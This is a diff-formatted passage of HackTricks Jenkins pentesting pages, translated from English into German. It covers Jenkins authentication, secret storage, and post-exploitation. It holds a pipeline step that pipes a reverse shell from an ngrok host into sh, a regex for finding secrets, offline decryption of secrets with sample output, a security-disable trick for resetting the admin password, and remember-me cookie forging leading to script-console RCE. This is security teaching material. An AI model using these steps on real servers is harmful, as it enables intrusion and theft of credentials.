string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
|
||||
sh '''
|
||||
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
|
||||
'''
|
||||
}
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage("Build") {
|
||||
environment {
|
||||
STAGE_ENV_VAR = "Test stage ENV variables."
|
||||
}
|
||||
steps {
|
||||
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
|
||||
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
|
||||
sh '''
|
||||
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
|
||||
'''
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
post {
|
||||
always {
|
||||
cleanWs()
|
||||
}
|
||||
}
|
||||
post {
|
||||
always {
|
||||
cleanWs()
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Arbitrary File Read to RCE
|
||||
## Arbiträre Dateilesen zu RCE
|
||||
|
||||
{{#ref}}
|
||||
jenkins-arbitrary-file-read-to-rce-via-remember-me.md
|
||||
@@ -326,43 +304,40 @@ jenkins-rce-creating-modifying-project.md
|
||||
jenkins-rce-creating-modifying-pipeline.md
|
||||
{{#endref}}
|
||||
|
||||
## Post Exploitation
|
||||
## Nach der Ausnutzung
|
||||
|
||||
### Metasploit
|
||||
|
||||
```
|
||||
msf> post/multi/gather/jenkins_gather
|
||||
```
|
||||
### Jenkins-Geheimnisse
|
||||
|
||||
### Jenkins Secrets
|
||||
Sie können die Geheimnisse auflisten, indem Sie auf `/credentials/` zugreifen, wenn Sie über ausreichende Berechtigungen verfügen. Beachten Sie, dass dies nur die Geheimnisse innerhalb der `credentials.xml`-Datei auflistet, aber **Build-Konfigurationsdateien** möglicherweise auch **weitere Anmeldeinformationen** enthalten.
|
||||
|
||||
You can list the secrets accessing `/credentials/` if you have enough permissions. Note that this will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**.
|
||||
|
||||
If you can **see the configuration of each project**, you can also see in there the **names of the credentials (secrets)** being use to access the repository and **other credentials of the project**.
|
||||
Wenn Sie **die Konfiguration jedes Projekts sehen können**, können Sie dort auch die **Namen der Anmeldeinformationen (Geheimnisse)** sehen, die verwendet werden, um auf das Repository zuzugreifen, sowie **andere Anmeldeinformationen des Projekts**.
|
||||
|
||||
.png>)
|
||||
|
||||
#### From Groovy
|
||||
#### Aus Groovy
|
||||
|
||||
{{#ref}}
|
||||
jenkins-dumping-secrets-from-groovy.md
|
||||
{{#endref}}
|
||||
|
||||
#### From disk
|
||||
#### Vom Datenträger
|
||||
|
||||
These files are needed to **decrypt Jenkins secrets**:
|
||||
Diese Dateien werden benötigt, um **Jenkins-Geheimnisse zu entschlüsseln**:
|
||||
|
||||
- secrets/master.key
|
||||
- secrets/hudson.util.Secret
|
||||
|
||||
Such **secrets can usually be found in**:
|
||||
Solche **Geheimnisse sind normalerweise zu finden in**:
|
||||
|
||||
- credentials.xml
|
||||
- jobs/.../build.xml
|
||||
- jobs/.../config.xml
|
||||
|
||||
Here's a regex to find them:
|
||||
|
||||
Hier ist ein Regex, um sie zu finden:
|
||||
```bash
|
||||
# Find the secrets
|
||||
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
|
||||
@@ -372,11 +347,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
|
||||
# Secret example
|
||||
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
|
||||
```
|
||||
#### Jenkins-Geheimnisse offline entschlüsseln
|
||||
|
||||
#### Decrypt Jenkins secrets offline
|
||||
|
||||
If you have dumped the **needed passwords to decrypt the secrets**, use [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **to decrypt those secrets**.
|
||||
|
||||
Wenn Sie die **benötigten Passwörter zum Entschlüsseln der Geheimnisse** extrahiert haben, verwenden Sie [**dieses Skript**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py), **um diese Geheimnisse zu entschlüsseln**.
|
||||
```bash
|
||||
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
|
||||
06165DF2-C047-4402-8CAB-1C8EC526C115
|
||||
@@ -384,23 +357,20 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
|
||||
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
|
||||
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
|
||||
```
|
||||
|
||||
#### Decrypt Jenkins secrets from Groovy
|
||||
|
||||
#### Entschlüsseln von Jenkins-Geheimnissen aus Groovy
|
||||
```bash
|
||||
println(hudson.util.Secret.decrypt("{...}"))
|
||||
```
|
||||
### Erstellen eines neuen Administrators
|
||||
|
||||
### Create new admin user
|
||||
1. Greifen Sie auf die Jenkins config.xml-Datei in `/var/lib/jenkins/config.xml` oder `C:\Program Files (x86)\Jenkins\` zu.
|
||||
2. Suchen Sie nach dem Wort `<useSecurity>true</useSecurity>` und ändern Sie das Wort **`true`** in **`false`**.
|
||||
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
|
||||
3. **Starten** den **Jenkins**-Server neu: `service jenkins restart`
|
||||
4. Gehen Sie jetzt erneut zum Jenkins-Portal und **Jenkins wird diesmal keine Anmeldeinformationen anfordern**. Navigieren Sie zu "**Manage Jenkins**", um das **Administratorpasswort erneut festzulegen**.
|
||||
5. **Aktivieren** Sie die **Sicherheit** erneut, indem Sie die Einstellungen auf `<useSecurity>true</useSecurity>` ändern und **starten Sie Jenkins erneut neu**.
|
||||
|
||||
1. Access the Jenkins config.xml file in `/var/lib/jenkins/config.xml` or `C:\Program Files (x86)\Jenkis\`
|
||||
2. Search for the word `<useSecurity>true</useSecurity>`and change the word \*\*`true` \*\* to **`false`**.
|
||||
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
|
||||
3. **Restart** the **Jenkins** server: `service jenkins restart`
|
||||
4. Now go to the Jenkins portal again and **Jenkins will not ask any credentials** this time. You navigate to "**Manage Jenkins**" to set the **administrator password again**.
|
||||
5. **Enable** the **security** again by changing settings to `<useSecurity>true</useSecurity>` and **restart the Jenkins again**.
|
||||
|
||||
## References
|
||||
## Referenzen
|
||||
|
||||
- [https://github.com/gquere/pwn_jenkins](https://github.com/gquere/pwn_jenkins)
|
||||
- [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/)
|
||||
@@ -410,7 +380,3 @@ println(hudson.util.Secret.decrypt("{...}"))
|
||||
- [https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3](https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,87 +1,87 @@
|
||||
# Basic Jenkins Information
|
||||
# Grundlegende Jenkins-Informationen
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Access
|
||||
## Zugriff
|
||||
|
||||
### Username + Password
|
||||
### Benutzername + Passwort
|
||||
|
||||
The most common way to login in Jenkins if with a username or a password
|
||||
Der häufigste Weg, sich in Jenkins anzumelden, ist mit einem Benutzernamen oder einem Passwort.
|
||||
|
||||
### Cookie
|
||||
|
||||
If an **authorized cookie gets stolen**, it ca be used to access the session of the user. The cookie is usually called `JSESSIONID.*`. (A user can terminate all his sessions, but he would need to find out first that a cookie was stolen).
|
||||
Wenn ein **autorisierter Cookie gestohlen wird**, kann er verwendet werden, um auf die Sitzung des Benutzers zuzugreifen. Der Cookie wird normalerweise `JSESSIONID.*` genannt. (Ein Benutzer kann alle seine Sitzungen beenden, aber er müsste zuerst herausfinden, dass ein Cookie gestohlen wurde).
|
||||
|
||||
### SSO/Plugins
|
||||
|
||||
Jenkins can be configured using plugins to be **accessible via third party SSO**.
|
||||
Jenkins kann mit Plugins konfiguriert werden, um **über Dritte SSO zugänglich zu sein**.
|
||||
|
||||
### Tokens
|
||||
|
||||
**Users can generate tokens** to give access to applications to impersonate them via CLI or REST API.
|
||||
**Benutzer können Tokens generieren**, um Anwendungen den Zugriff zu gewähren, um sie über CLI oder REST API zu impersonifizieren.
|
||||
|
||||
### SSH Keys
|
||||
### SSH-Schlüssel
|
||||
|
||||
This component provides a built-in SSH server for Jenkins. It’s an alternative interface for the [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), and commands can be invoked this way using any SSH client. (From the [docs](https://plugins.jenkins.io/sshd/))
|
||||
Diese Komponente bietet einen integrierten SSH-Server für Jenkins. Es ist eine alternative Schnittstelle für die [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), und Befehle können auf diese Weise mit jedem SSH-Client aufgerufen werden. (Aus den [Docs](https://plugins.jenkins.io/sshd/))
|
||||
|
||||
## Authorization
|
||||
## Autorisierung
|
||||
|
||||
In `/configureSecurity` it's possible to **configure the authorization method of Jenkins**. There are several options:
|
||||
In `/configureSecurity` ist es möglich, die **Autorisierungsmethode von Jenkins zu konfigurieren**. Es gibt mehrere Optionen:
|
||||
|
||||
- **Anyone can do anything**: Even anonymous access can administrate the server
|
||||
- **Legacy mode**: Same as Jenkins <1.164. If you have the **"admin" role**, you'll be granted **full control** over the system, and **otherwise** (including **anonymous** users) you'll have **read** access.
|
||||
- **Logged-in users can do anything**: In this mode, every **logged-in user gets full control** of Jenkins. The only user who won't have full control is **anonymous user**, who only gets **read access**.
|
||||
- **Matrix-based security**: You can configure **who can do what** in a table. Each **column** represents a **permission**. Each **row** **represents** a **user or a group/role.** This includes a special user '**anonymous**', which represents **unauthenticated users**, as well as '**authenticated**', which represents **all authenticated users**.
|
||||
- **Jeder kann alles tun**: Sogar anonymer Zugriff kann den Server verwalten.
|
||||
- **Legacy-Modus**: Gleich wie Jenkins <1.164. Wenn Sie die **"Admin"-Rolle** haben, erhalten Sie **vollständige Kontrolle** über das System, und **ansonsten** (einschließlich **anonymer** Benutzer) haben Sie **Lesezugriff**.
|
||||
- **Eingeloggte Benutzer können alles tun**: In diesem Modus erhält jeder **eingeloggte Benutzer vollständige Kontrolle** über Jenkins. Der einzige Benutzer, der keine vollständige Kontrolle hat, ist der **anonyme Benutzer**, der nur **Lesezugriff** erhält.
|
||||
- **Matrix-basierte Sicherheit**: Sie können **konfigurieren, wer was tun kann** in einer Tabelle. Jede **Spalte** repräsentiert eine **Berechtigung**. Jede **Zeile** **repräsentiert** einen **Benutzer oder eine Gruppe/Rolle.** Dies umfasst einen speziellen Benutzer '**anonym**', der **nicht authentifizierte Benutzer** repräsentiert, sowie '**authentifiziert**', der **alle authentifizierten Benutzer** repräsentiert.
|
||||
|
||||
.png>)
|
||||
|
||||
- **Project-based Matrix Authorization Strategy:** This mode is an **extension** to "**Matrix-based security**" that allows additional ACL matrix to be **defined for each project separately.**
|
||||
- **Role-Based Strategy:** Enables defining authorizations using a **role-based strategy**. Manage the roles in `/role-strategy`.
|
||||
- **Projektbasierte Matrix-Autorisierungsstrategie:** Dieser Modus ist eine **Erweiterung** der "**Matrix-basierten Sicherheit**", die es ermöglicht, zusätzliche ACL-Matrizen **für jedes Projekt separat zu definieren.**
|
||||
- **Rollenbasierte Strategie:** Ermöglicht die Definition von Berechtigungen mit einer **rollenbasierten Strategie**. Verwalten Sie die Rollen in `/role-strategy`.
|
||||
|
||||
## **Security Realm**
|
||||
## **Sicherheitsbereich**
|
||||
|
||||
In `/configureSecurity` it's possible to **configure the security realm.** By default Jenkins includes support for a few different Security Realms:
|
||||
In `/configureSecurity` ist es möglich, den **Sicherheitsbereich zu konfigurieren.** Standardmäßig unterstützt Jenkins einige verschiedene Sicherheitsbereiche:
|
||||
|
||||
- **Delegate to servlet container**: For **delegating authentication a servlet container running the Jenkins controller**, such as [Jetty](https://www.eclipse.org/jetty/).
|
||||
- **Jenkins’ own user database:** Use **Jenkins’s own built-in user data store** for authentication instead of delegating to an external system. This is enabled by default.
|
||||
- **LDAP**: Delegate all authentication to a configured LDAP server, including both users and groups.
|
||||
- **Unix user/group database**: **Delegates the authentication to the underlying Unix** OS-level user database on the Jenkins controller. This mode will also allow re-use of Unix groups for authorization.
|
||||
- **An Servlet-Container delegieren**: Für **die Authentifizierung an einen Servlet-Container, der den Jenkins-Controller ausführt**, wie [Jetty](https://www.eclipse.org/jetty/).
|
||||
- **Jenkins eigene Benutzerdatenbank:** Verwenden Sie **Jenkins eigene integrierte Benutzerdatenbank** zur Authentifizierung, anstatt an ein externes System zu delegieren. Dies ist standardmäßig aktiviert.
|
||||
- **LDAP**: Delegiert die gesamte Authentifizierung an einen konfigurierten LDAP-Server, einschließlich sowohl Benutzer als auch Gruppen.
|
||||
- **Unix-Benutzer-/Gruppendatenbank**: **Delegiert die Authentifizierung an die zugrunde liegende Unix**-OS-Benutzerdatenbank auf dem Jenkins-Controller. Dieser Modus ermöglicht auch die Wiederverwendung von Unix-Gruppen für die Autorisierung.
|
||||
|
||||
Plugins can provide additional security realms which may be useful for incorporating Jenkins into existing identity systems, such as:
|
||||
Plugins können zusätzliche Sicherheitsbereiche bereitstellen, die nützlich sein können, um Jenkins in bestehende Identitätssysteme zu integrieren, wie zum Beispiel:
|
||||
|
||||
- [Active Directory](https://plugins.jenkins.io/active-directory)
|
||||
- [GitHub Authentication](https://plugins.jenkins.io/github-oauth)
|
||||
- [GitHub-Authentifizierung](https://plugins.jenkins.io/github-oauth)
|
||||
- [Atlassian Crowd 2](https://plugins.jenkins.io/crowd2)
|
||||
|
||||
## Jenkins Nodes, Agents & Executors
|
||||
## Jenkins-Knoten, Agenten & Executor
|
||||
|
||||
Definitions from the [docs](https://www.jenkins.io/doc/book/managing/nodes/):
|
||||
Definitionen aus den [Docs](https://www.jenkins.io/doc/book/managing/nodes/):
|
||||
|
||||
**Nodes** are the **machines** on which build **agents run**. Jenkins monitors each attached node for disk space, free temp space, free swap, clock time/sync and response time. A node is taken offline if any of these values go outside the configured threshold.
|
||||
**Knoten** sind die **Maschinen**, auf denen die Build-**Agenten laufen**. Jenkins überwacht jeden angeschlossenen Knoten auf Speicherplatz, freien temporären Speicher, freien Swap, Uhrzeit/Synchronisation und Reaktionszeit. Ein Knoten wird offline genommen, wenn einer dieser Werte außerhalb des konfigurierten Schwellenwerts liegt.
|
||||
|
||||
**Agents** **manage** the **task execution** on behalf of the Jenkins controller by **using executors**. An agent can use any operating system that supports Java. Tools required for builds and tests are installed on the node where the agent runs; they can **be installed directly or in a container** (Docker or Kubernetes). Each **agent is effectively a process with its own PID** on the host machine.
|
||||
**Agenten** **verwalten** die **Aufgabenausführung** im Auftrag des Jenkins-Controllers, indem sie **Executor verwenden**. Ein Agent kann jedes Betriebssystem verwenden, das Java unterstützt. Werkzeuge, die für Builds und Tests erforderlich sind, werden auf dem Knoten installiert, auf dem der Agent läuft; sie können **direkt oder in einem Container** (Docker oder Kubernetes) installiert werden. Jeder **Agent ist effektiv ein Prozess mit seiner eigenen PID** auf der Hostmaschine.
|
||||
|
||||
An **executor** is a **slot for execution of tasks**; effectively, it is **a thread in the agent**. The **number of executors** on a node defines the number of **concurrent tasks** that can be executed on that node at one time. In other words, this determines the **number of concurrent Pipeline `stages`** that can execute on that node at one time.
|
||||
Ein **Executor** ist ein **Slot für die Ausführung von Aufgaben**; effektiv ist es **ein Thread im Agenten**. Die **Anzahl der Executor** auf einem Knoten definiert die Anzahl der **gleichzeitigen Aufgaben**, die zu einem Zeitpunkt auf diesem Knoten ausgeführt werden können. Mit anderen Worten, dies bestimmt die **Anzahl der gleichzeitigen Pipeline `Stufen`**, die zu einem Zeitpunkt auf diesem Knoten ausgeführt werden können.
|
||||
|
||||
## Jenkins Secrets
|
||||
## Jenkins-Geheimnisse
|
||||
|
||||
### Encryption of Secrets and Credentials
|
||||
### Verschlüsselung von Geheimnissen und Anmeldeinformationen
|
||||
|
||||
Definition from the [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins uses **AES to encrypt and protect secrets**, credentials, and their respective encryption keys. These encryption keys are stored in `$JENKINS_HOME/secrets/` along with the master key used to protect said keys. This directory should be configured so that only the operating system user the Jenkins controller is running as has read and write access to this directory (i.e., a `chmod` value of `0700` or using appropriate file attributes). The **master key** (sometimes referred to as a "key encryption key" in cryptojargon) is **stored \_unencrypted**\_ on the Jenkins controller filesystem in **`$JENKINS_HOME/secrets/master.key`** which does not protect against attackers with direct access to that file. Most users and developers will use these encryption keys indirectly via either the [Secret](https://javadoc.jenkins.io/byShortName/Secret) API for encrypting generic secret data or through the credentials API. For the cryptocurious, Jenkins uses AES in cipher block chaining (CBC) mode with PKCS#5 padding and random IVs to encrypt instances of [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) which are stored in `$JENKINS_HOME/secrets/` with a filename corresponding to their `CryptoConfidentialKey` id. Common key ids include:
|
||||
Definition aus den [Docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins verwendet **AES zur Verschlüsselung und zum Schutz von Geheimnissen**, Anmeldeinformationen und deren jeweiligen Verschlüsselungsschlüsseln. Diese Verschlüsselungsschlüssel werden in `$JENKINS_HOME/secrets/` zusammen mit dem Master-Schlüssel gespeichert, der zum Schutz dieser Schlüssel verwendet wird. Dieses Verzeichnis sollte so konfiguriert werden, dass nur der Betriebssystembenutzer, unter dem der Jenkins-Controller läuft, Lese- und Schreibzugriff auf dieses Verzeichnis hat (d.h. ein `chmod`-Wert von `0700` oder unter Verwendung geeigneter Dateiattribute). Der **Master-Schlüssel** (manchmal als "Schlüsselverschlüsselungsschlüssel" in der Kryptojargon bezeichnet) wird **_unverschlüsselt_** auf dem Dateisystem des Jenkins-Controllers in **`$JENKINS_HOME/secrets/master.key`** gespeichert, was nicht vor Angreifern schützt, die direkten Zugriff auf diese Datei haben. Die meisten Benutzer und Entwickler verwenden diese Verschlüsselungsschlüssel indirekt über entweder die [Secret](https://javadoc.jenkins.io/byShortName/Secret) API zur Verschlüsselung generischer geheimer Daten oder über die Anmeldeinformations-API. Für die kryptografisch Neugierigen verwendet Jenkins AES im Cipher Block Chaining (CBC)-Modus mit PKCS#5-Padding und zufälligen IVs, um Instanzen von [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) zu verschlüsseln, die in `$JENKINS_HOME/secrets/` mit einem Dateinamen gespeichert werden, der ihrer `CryptoConfidentialKey`-ID entspricht. Häufige Schlüssel-IDs umfassen:
|
||||
|
||||
- `hudson.util.Secret`: used for generic secrets;
|
||||
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: used for some credentials types;
|
||||
- `jenkins.model.Jenkins.crumbSalt`: used by the [CSRF protection mechanism](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); and
|
||||
- `hudson.util.Secret`: verwendet für generische Geheimnisse;
|
||||
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: verwendet für einige Anmeldeinformationstypen;
|
||||
- `jenkins.model.Jenkins.crumbSalt`: verwendet vom [CSRF-Schutzmechanismus](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); und
|
||||
|
||||
### Credentials Access
|
||||
### Zugriff auf Anmeldeinformationen
|
||||
|
||||
Credentials can be **scoped to global providers** (`/credentials/`) that can be accessed by any project configured, or can be scoped to **specific projects** (`/job/<project-name>/configure`) and therefore only accessible from the specific project.
|
||||
Anmeldeinformationen können **globalen Anbietern** (`/credentials/`) zugewiesen werden, auf die von jedem konfigurierten Projekt zugegriffen werden kann, oder sie können auf **spezifische Projekte** (`/job/<project-name>/configure`) beschränkt werden und sind daher nur von dem spezifischen Projekt aus zugänglich.
|
||||
|
||||
According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Credentials that are in scope are made available to the pipeline without limitation. To **prevent accidental exposure in the build log**, credentials are **masked** from regular output, so an invocation of `env` (Linux) or `set` (Windows), or programs printing their environment or parameters would **not reveal them in the build log** to users who would not otherwise have access to the credentials.
|
||||
Laut [**den Docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Anmeldeinformationen, die im Geltungsbereich sind, stehen der Pipeline ohne Einschränkungen zur Verfügung. Um **versehentliche Offenlegung im Build-Protokoll** zu verhindern, werden Anmeldeinformationen **maskiert** und sind nicht in der regulären Ausgabe sichtbar, sodass ein Aufruf von `env` (Linux) oder `set` (Windows) oder Programme, die ihre Umgebung oder Parameter drucken, **sie nicht im Build-Protokoll offenbaren** für Benutzer, die sonst keinen Zugriff auf die Anmeldeinformationen hätten.
|
||||
|
||||
**That is why in order to exfiltrate the credentials an attacker needs to, for example, base64 them.**
|
||||
**Deshalb muss ein Angreifer, um die Anmeldeinformationen zu exfiltrieren, sie beispielsweise base64 kodieren.**
|
||||
|
||||
## References
|
||||
## Referenzen
|
||||
|
||||
- [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/)
|
||||
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
|
||||
@@ -92,7 +92,3 @@ According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-m
|
||||
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,108 +2,104 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
In this blog post is possible to find a great way to transform a Local File Inclusion vulnerability in Jenkins into RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
|
||||
In diesem Blogbeitrag ist es möglich, einen großartigen Weg zu finden, um eine Local File Inclusion-Sicherheitsanfälligkeit in Jenkins in RCE zu verwandeln: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
|
||||
|
||||
This is an AI created summary of the part of the post were the creaft of an arbitrary cookie is abused to get RCE abusing a local file read until I have time to create a summary on my own:
|
||||
Dies ist eine von KI erstellte Zusammenfassung des Teils des Beitrags, in dem das Erstellen eines willkürlichen Cookies missbraucht wird, um RCE zu erhalten, indem eine lokale Datei gelesen wird, bis ich Zeit habe, eine eigene Zusammenfassung zu erstellen:
|
||||
|
||||
### Attack Prerequisites
|
||||
### Angriffsvoraussetzungen
|
||||
|
||||
- **Feature Requirement:** "Remember me" must be enabled (default setting).
|
||||
- **Access Levels:** Attacker needs Overall/Read permissions.
|
||||
- **Secret Access:** Ability to read both binary and textual content from key files.
|
||||
- **Funktionsanforderung:** "Remember me" muss aktiviert sein (Standardeinstellung).
|
||||
- **Zugriffslevel:** Angreifer benötigt Gesamt-/Leseberechtigungen.
|
||||
- **Geheimer Zugriff:** Fähigkeit, sowohl binäre als auch textuelle Inhalte aus wichtigen Dateien zu lesen.
|
||||
|
||||
### Detailed Exploitation Process
|
||||
### Detaillierter Ausbeutungsprozess
|
||||
|
||||
#### Step 1: Data Collection
|
||||
#### Schritt 1: Datensammlung
|
||||
|
||||
**User Information Retrieval**
|
||||
**Benutzerinformationsabruf**
|
||||
|
||||
- Access user configuration and secrets from `$JENKINS_HOME/users/*.xml` for each user to gather:
|
||||
- **Username**
|
||||
- **User seed**
|
||||
- **Timestamp**
|
||||
- **Password hash**
|
||||
- Greifen Sie auf die Benutzerkonfiguration und Geheimnisse aus `$JENKINS_HOME/users/*.xml` für jeden Benutzer zu, um Folgendes zu sammeln:
|
||||
- **Benutzername**
|
||||
- **Benutzersamen**
|
||||
- **Zeitstempel**
|
||||
- **Passworthash**
|
||||
|
||||
**Secret Key Extraction**
|
||||
**Geheimschlüsselextraktion**
|
||||
|
||||
- Extract cryptographic keys used for signing the cookie:
|
||||
- **Secret Key:** `$JENKINS_HOME/secret.key`
|
||||
- **Master Key:** `$JENKINS_HOME/secrets/master.key`
|
||||
- **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
|
||||
- Extrahieren Sie kryptografische Schlüssel, die zum Signieren des Cookies verwendet werden:
|
||||
- **Geheimschlüssel:** `$JENKINS_HOME/secret.key`
|
||||
- **Master-Schlüssel:** `$JENKINS_HOME/secrets/master.key`
|
||||
- **MAC-Schlüsseldatei:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
|
||||
|
||||
#### Step 2: Cookie Forging
|
||||
#### Schritt 2: Cookie-Fälschung
|
||||
|
||||
**Token Preparation**
|
||||
**Token-Vorbereitung**
|
||||
|
||||
- **Calculate Token Expiry Time:**
|
||||
- **Berechnen Sie die Token-Ablaufzeit:**
|
||||
|
||||
```javascript
|
||||
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Adds one hour to current time
|
||||
```
|
||||
```javascript
|
||||
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Fügt eine Stunde zur aktuellen Zeit hinzu
|
||||
```
|
||||
|
||||
- **Concatenate Data for Token:**
|
||||
- **Daten für das Token verketten:**
|
||||
|
||||
```javascript
|
||||
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
|
||||
```
|
||||
```javascript
|
||||
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
|
||||
```
|
||||
|
||||
**MAC Key Decryption**
|
||||
**MAC-Schlüsselentschlüsselung**
|
||||
|
||||
- **Decrypt MAC Key File:**
|
||||
- **Entschlüsseln Sie die MAC-Schlüsseldatei:**
|
||||
|
||||
```javascript
|
||||
key = toAes128Key(masterKey) // Convert master key to AES128 key format
|
||||
decrypted = AES.decrypt(macFile, key) // Decrypt the .mac file
|
||||
if not decrypted.hasSuffix("::::MAGIC::::")
|
||||
return ERROR;
|
||||
macKey = decrypted.withoutSuffix("::::MAGIC::::")
|
||||
```
|
||||
```javascript
|
||||
key = toAes128Key(masterKey) // Konvertieren Sie den Master-Schlüssel in das AES128-Schlüssel-Format
|
||||
decrypted = AES.decrypt(macFile, key) // Entschlüsseln Sie die .mac-Datei
|
||||
if not decrypted.hasSuffix("::::MAGIC::::")
|
||||
return ERROR;
|
||||
macKey = decrypted.withoutSuffix("::::MAGIC::::")
|
||||
```
|
||||
|
||||
**Signature Computation**
|
||||
**Signaturberechnung**
|
||||
|
||||
- **Compute HMAC SHA256:**
|
||||
- **Berechnen Sie HMAC SHA256:**
|
||||
|
||||
```javascript
|
||||
mac = HmacSHA256(token, macKey) // Compute HMAC using the token and MAC key
|
||||
tokenSignature = bytesToHexString(mac) // Convert the MAC to a hexadecimal string
|
||||
```
|
||||
```javascript
|
||||
mac = HmacSHA256(token, macKey) // Berechnen Sie HMAC mit dem Token und dem MAC-Schlüssel
|
||||
tokenSignature = bytesToHexString(mac) // Konvertieren Sie das MAC in einen hexadezimalen String
|
||||
```
|
||||
|
||||
**Cookie Encoding**
|
||||
**Cookie-Codierung**
|
||||
|
||||
- **Generate Final Cookie:**
|
||||
- **Generieren Sie das endgültige Cookie:**
|
||||
|
||||
```javascript
|
||||
cookie = base64.encode(
|
||||
username + ":" + tokenExpiryTime + ":" + tokenSignature
|
||||
) // Base64 encode the cookie data
|
||||
```
|
||||
```javascript
|
||||
cookie = base64.encode(
|
||||
username + ":" + tokenExpiryTime + ":" + tokenSignature
|
||||
) // Base64-codieren Sie die Cookie-Daten
|
||||
```
|
||||
|
||||
#### Step 3: Code Execution
|
||||
#### Schritt 3: Codeausführung
|
||||
|
||||
**Session Authentication**
|
||||
**Sitzungsauthentifizierung**
|
||||
|
||||
- **Fetch CSRF and Session Tokens:**
|
||||
- Make a request to `/crumbIssuer/api/json` to obtain `Jenkins-Crumb`.
|
||||
- Capture `JSESSIONID` from the response, which will be used in conjunction with the remember-me cookie.
|
||||
- **Abrufen von CSRF- und Sitzungstoken:**
|
||||
- Stellen Sie eine Anfrage an `/crumbIssuer/api/json`, um `Jenkins-Crumb` zu erhalten.
|
||||
- Erfassen Sie `JSESSIONID` aus der Antwort, die zusammen mit dem Remember-Me-Cookie verwendet wird.
|
||||
|
||||
**Command Execution Request**
|
||||
**Befehlsausführungsanfrage**
|
||||
|
||||
- **Send a POST Request with Groovy Script:**
|
||||
- **Senden Sie eine POST-Anfrage mit Groovy-Skript:**
|
||||
|
||||
```bash
|
||||
curl -X POST "$JENKINS_URL/scriptText" \
|
||||
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
|
||||
--header "Jenkins-Crumb: $CRUMB" \
|
||||
--header "Content-Type: application/x-www-form-urlencoded" \
|
||||
--data-urlencode "script=$SCRIPT"
|
||||
```
|
||||
```bash
|
||||
curl -X POST "$JENKINS_URL/scriptText" \
|
||||
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
|
||||
--header "Jenkins-Crumb: $CRUMB" \
|
||||
--header "Content-Type: application/x-www-form-urlencoded" \
|
||||
--data-urlencode "script=$SCRIPT"
|
||||
```
|
||||
|
||||
